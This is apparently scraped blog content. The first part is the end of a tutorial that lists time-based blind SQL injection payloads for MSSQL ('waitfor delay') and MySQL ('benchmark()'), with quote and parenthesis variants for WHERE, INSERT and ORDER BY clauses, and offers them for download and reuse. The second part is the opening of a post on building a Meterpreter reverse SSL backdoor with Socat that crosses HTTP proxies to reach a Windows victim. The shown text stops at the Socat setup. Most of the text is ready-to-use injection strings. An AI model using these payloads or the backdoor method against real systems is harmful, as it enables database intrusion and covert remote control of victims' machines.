<span style="color: #333399;">DELETE </span><span style="color: #333399;">FROM </span>tbl <span style="color: #333399;">WHERE </span>item=x <span style="color: #ff0000;">payload</span>
<span style="color: #333399;">UPDATE </span>tbl <span style="color: #333399;">SET </span>item1=x <span style="color: #ff0000;">payload1</span> <span style="color: #333399;">WHERE </span>item2=x <span style="color: #ff0000;">payload2</span></pre>
<h5>4.2. INSERT/UPDATE</h5>
<p>Which should match statements such as:</p>
<pre><span style="color: #000000;"><span style="color: #333399;">INSERT </span><span style="color: #333399;">INTO </span>tbl(a,b,c) <span style="color: #333399;">VALUES</span>(</span><span style="color: #800080;"><span style="color: #000000;">x </span><span style="color: #ff0000;">payload1</span><span style="color: #000000;">, y</span> <span style="color: #ff0000;">payload2</span></span><span style="color: #800080;"><span style="color: #ff0000;"> </span>)
<span style="color: #000000;"><span style="color: #333399;">UPDATE </span>tbl(a,b) <span style="color: #333399;">SET VALUES</span>(</span><span style="color: #ff0000;"><span style="color: #000000;">x</span> payload1<span style="color: #800080;"><span style="color: #000000;">, y</span> <span style="color: #ff0000;">payload2</span></span></span><span style="color: #000000;">) <span style="color: #333399;">WHERE </span>item=value</span></span></pre>
<h5>4.3. ORDER BY/ASC/DESC</h5>
<p>Which should match statements such as:</p>
<pre><span style="color: #800080;"><span style="color: #000000;"><span style="color: #333399;"><span style="color: #333399;">SELECT</span> </span>a <span style="color: #333399;">FROM </span>tbl &lt;<span style="color: #333399;">WHERE </span>...&gt; <span style="color: #333399;">ORDER BY</span> value</span><span style="color: #ff0000;">,payload1</span> <span style="color: #ff0000;"><span style="color: #333399;">ASC</span>,payload2</span></span><br class="spacer_" /></pre>
<h2>5. The Payloads</h2>
<p>So far, we will try to focus on MSSQL (using &#8220;<em><strong>waitfor delay</strong>&#8220;</em> command to introduce time delay) and MySQL Server (using <strong><em>benchmark()</em></strong> function to generate long CPU activities).</p>
<p>For each injection, we will:<em> </em></p>
<ul>
<li>use<em> quote</em>, <em>double-quote</em>, <em>parenthesis</em> or <em>blank</em> characters to close everything written before the injected payload.</li>
<li>play with multiple level of <em>parenthesis.</em></li>
<li>ending the SQL statement with { <span style="color: #3366ff;">/*</span> , <span style="color: #3366ff;">&#8211;</span> } for MSSQL, and { <span style="color: #3366ff;">/*</span> ,  <span style="color: #3366ff;">&#8211;</span> , <span style="color: #3366ff;">#</span> } for MySQL.</li>
<li>for insert only: try different number of columns for<em> values().</em></li>
</ul>
<h3>5.1. Download</h3>
<p>Download the full list of payloads: <a href="http://funoverip.net/wp-content/uploads/2010/12/payloads-sql-blind.tar.gz">payloads-sql-blind.tar.gz</a></p>
<h3>5.2. Content:</h3>
<pre><span style="color: #3366ff;">payloads-sql-blind-MSSQL-INSERT.txt
payloads-sql-blind-MSSQL-WHERE.txt
payloads-sql-blind-MySQL-INSERT.txt
payloads-sql-blind-MySQL-WHERE.txt
payloads-sql-blind-MySQL-ORDER_BY.txt</span></pre>
<p><br class="spacer_" /></p>
<h4>payloads-sql-blind-MSSQL-INSERT.txt</h4>
<div class="jcode-100">
<pre><span style="color: #333399;">)%20waitfor%20delay%20'0:0:20'%20/*
)%20waitfor%20delay%20'0:0:20'%20--
')%20waitfor%20delay%20'0:0:20'%20/*
')%20waitfor%20delay%20'0:0:20'%20--
")%20waitfor%20delay%20'0:0:20'%20/*
")%20waitfor%20delay%20'0:0:20'%20--
))%20waitfor%20delay%20'0:0:20'%20/*
))%20waitfor%20delay%20'0:0:20'%20--
'))%20waitfor%20delay%20'0:0:20'%20/*
'))%20waitfor%20delay%20'0:0:20'%20--
"))%20waitfor%20delay%20'0:0:20'%20/*
"))%20waitfor%20delay%20'0:0:20'%20--
,NULL)%20waitfor%20delay%20'0:0:20'%20/*
,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL)%20waifor%20delay%20'0:0:20'%20/*
',NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL)%20waifor%20delay%20'0:0:20'%20/*
'),NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL)%20waitfor%20delay%20'0:0:20'%20--
,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
'),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
'),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
'),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
'),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
'),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
"),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--</span></pre>
</div>
<h4>payloads-sql-blind-MSSQL-WHERE.txt</h4>
<div class="jcode-100">
<pre><span style="color: #333399;"> waitfor delay '0:0:20' /*
 waitfor delay '0:0:20' --
' waitfor delay '0:0:20' /*
' waitfor delay '0:0:20' --
" waitfor delay '0:0:20' /*
" waitfor delay '0:0:20' --
) waitfor delay '0:0:20' /*
) waitfor delay '0:0:20' --
)) waitfor delay '0:0:20' /*
)) waitfor delay '0:0:20' --
))) waitfor delay '0:0:20' /*
))) waitfor delay '0:0:20' --
)))) waitfor delay '0:0:20' /*
)))) waitfor delay '0:0:20' --
))))) waitfor delay '0:0:20' --
)))))) waitfor delay '0:0:20' --
') waitfor delay '0:0:20' /*
') waitfor delay '0:0:20' --
") waitfor delay '0:0:20' /*
") waitfor delay '0:0:20' --
')) waitfor delay '0:0:20' /*
')) waitfor delay '0:0:20' --
")) waitfor delay '0:0:20' /*
")) waitfor delay '0:0:20' --
'))) waitfor delay '0:0:20' /*
'))) waitfor delay '0:0:20' --
"))) waitfor delay '0:0:20' /*
"))) waitfor delay '0:0:20' --
')))) waitfor delay '0:0:20' /*
')))) waitfor delay '0:0:20' --
")))) waitfor delay '0:0:20' /*
")))) waitfor delay '0:0:20' --
'))))) waitfor delay '0:0:20' /*
'))))) waitfor delay '0:0:20' --
"))))) waitfor delay '0:0:20' /*
"))))) waitfor delay '0:0:20' --
')))))) waitfor delay '0:0:20' /*
')))))) waitfor delay '0:0:20' --
")))))) waitfor delay '0:0:20' /*
")))))) waitfor delay '0:0:20' --</span></pre>
</div>
<h4>payloads-sql-blind-MySQL-INSERT.txt</h4>
<div class="jcode-100">
<pre><span style="color: #333399;">+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
'+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
"+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
'+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
"+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23</span></pre>
</div>
<h4>payloads-sql-blind-MySQL-WHERE.txt</h4>
<div class="jcode-100">
<pre><span style="color: #333399;"> and 0=benchmark(3000000,MD5(1))%20/*
 and 0=benchmark(3000000,MD5(1))%20--
 and 0=benchmark(3000000,MD5(1))%20%23
' and 0=benchmark(3000000,MD5(1))%20/*
' and 0=benchmark(3000000,MD5(1))%20--
' and 0=benchmark(3000000,MD5(1))%20%23
" and 0=benchmark(3000000,MD5(1))%20/*
" and 0=benchmark(3000000,MD5(1))%20--
" and 0=benchmark(3000000,MD5(1))%20%23
) and 0=benchmark(3000000,MD5(1))%20/*
) and 0=benchmark(3000000,MD5(1))%20--
) and 0=benchmark(3000000,MD5(1))%20%23
)) and 0=benchmark(3000000,MD5(1))%20/*
)) and 0=benchmark(3000000,MD5(1))%20--
)) and 0=benchmark(3000000,MD5(1))%20%23
))) and 0=benchmark(3000000,MD5(1))%20/*
))) and 0=benchmark(3000000,MD5(1))%20--
))) and 0=benchmark(3000000,MD5(1))%20%23
)))) and 0=benchmark(3000000,MD5(1))%20/*
)))) and 0=benchmark(3000000,MD5(1))%20--
)))) and 0=benchmark(3000000,MD5(1))%20%23
') and 0=benchmark(3000000,MD5(1))%20/*
') and 0=benchmark(3000000,MD5(1))%20--
') and 0=benchmark(3000000,MD5(1))%20%23
") and 0=benchmark(3000000,MD5(1))%20/*
") and 0=benchmark(3000000,MD5(1))%20--
") and 0=benchmark(3000000,MD5(1))%20%23
')) and 0=benchmark(3000000,MD5(1))%20/*
')) and 0=benchmark(3000000,MD5(1))%20--
')) and 0=benchmark(3000000,MD5(1))%20%23
")) and 0=benchmark(3000000,MD5(1))%20/*
")) and 0=benchmark(3000000,MD5(1))%20--
")) and 0=benchmark(3000000,MD5(1))%20%23
'))) and 0=benchmark(3000000,MD5(1))%20/*
'))) and 0=benchmark(3000000,MD5(1))%20--
'))) and 0=benchmark(3000000,MD5(1))%20%23
"))) and 0=benchmark(3000000,MD5(1))%20/*
"))) and 0=benchmark(3000000,MD5(1))%20--
"))) and 0=benchmark(3000000,MD5(1))%20%23
')))) and 0=benchmark(3000000,MD5(1))%20/*
')))) and 0=benchmark(3000000,MD5(1))%20--
')))) and 0=benchmark(3000000,MD5(1))%20%23
")))) and 0=benchmark(3000000,MD5(1))%20/*
")))) and 0=benchmark(3000000,MD5(1))%20--
")))) and 0=benchmark(3000000,MD5(1))%20%23</span></pre>
</div>
<h4>payloads-sql-blind-MySQL-ORDER_BY.txt</h4>
<div class="jcode-100">
<pre><span style="color: #333399;">,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
'),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
"),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23</span></pre>
</div>
<p><br class="spacer_" /></p>
<h2>6. The End</h2>
<p>Enjoy this tutorial and these SQL payloads.<br />
New payloads suggestions are welcome !<br />
<br class="spacer_" /><br />
Note: There is a rating embedded within this post, please visit this post to rate it.</p>
<p style='text-align:left'>&copy; 2010 &#8211; 2011, <a href='http://funoverip.net'>foip</a>. All rights reserved. </p>


title: Reverse SSL backdoor with socat and metasploit (and proxies)
source: http://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/
author: foip
description:
<h2>1. Introduction</h2>
<p>This is a short article explaining how to quickly create a reverse backdoor:</p>
<ul>
<li>for Windows or Linux (this article will focus on Windows)</li>
<li>using encrypted communication inside an SSL tunnel (with client and server certificates)</li>
<li><span style="text-decoration: underline;">crossing HTTP proxy</span> (allowing CONNECT method)</li>
<li>and without having to reinvent the wheel (thanks to Metasploit and <a title="socat" href="http://www.dest-unreach.org/socat/">Socat</a>)</li>
</ul>
<p><br class="spacer" /><br />
Actually, we will:</p>
<ol>
<li>generate and use a <strong>Meterpreter</strong> encoded payload from <a href="http://www.metasploit.com/" target="_blank">Metasploit</a>.</li>
<li>maintain an SSL tunnel with <a title="socat" href="http://www.dest-unreach.org/socat/">Socat</a> (version 2) using certificates for the communication between the Meterpreter backdoor (victim side) and the <a href="http://www.metasploit.com/" target="_blank">Metasploit</a> handler (evil side)</li>
<li>put everything (binaries, certificates, code, &#8230;) inside a C program which will recreate the files and start the reverse backdoor at run-time.</li>
<li>compile everything under cygwin to create a Windows version (because we prefer to develop code with gcc under Linux;  everybody do what he want after all)</li>
<li>use <strong>iexpress</strong> from Windows to bind our evil &#8220;.exe&#8221; file with cywin1.dll library file.</li>
</ol>
<p><span id="more-524"></span><br />
<br class="spacer" /><br />
We chose Windows XP as victim platform, but most of the work will be done under Linux. Again, we will not providing you a full working source code. Just the needed steps and some examples if you would like to try by your self.</p>
<p><span style="text-decoration: underline;"><strong>Note</strong>:</span> This example will slowly become obsolete due to the existence of <strong>reverse_https</strong> stager of <strong>meterpreter</strong> (see: <a href="http://blog.metasploit.com/2010/04/persistent-meterpreter-over-reverse.html" target="_blank">http://blog.metasploit.com/2010/04/persistent-meterpreter-over-reverse.html</a>), especially for crossing <span style="text-decoration: underline;">proxies servers</span>. Soon , we will not need <a title="socat" href="http://www.dest-unreach.org/socat/">Socat</a> anymore. But the technique (or some parts) could be reused for any other kind of situations (ex: your own code).</p>
<p><br class="spacer" /></p>
<h2>2. Basic picture of the reverse backdoor</h2>
<p><a href="http://funoverip.net/wp-content/uploads/2011/04/socat-5.png"><img class="aligncenter size-full wp-image-854" title="socat backdoor" src="http://funoverip.net/wp-content/uploads/2011/04/socat-5.png" alt="" width="624" height="312" /></a></p>
<p><br class="spacer" /></p>
<h2>3. Get Socat working</h2>
<p>Get a copy of <a title="socat" href="http://www.dest-unreach.org/socat/">Socat</a> version 2 (beta). For this demonstration, we will use release <strong>2.0.0-b4</strong>.</p>
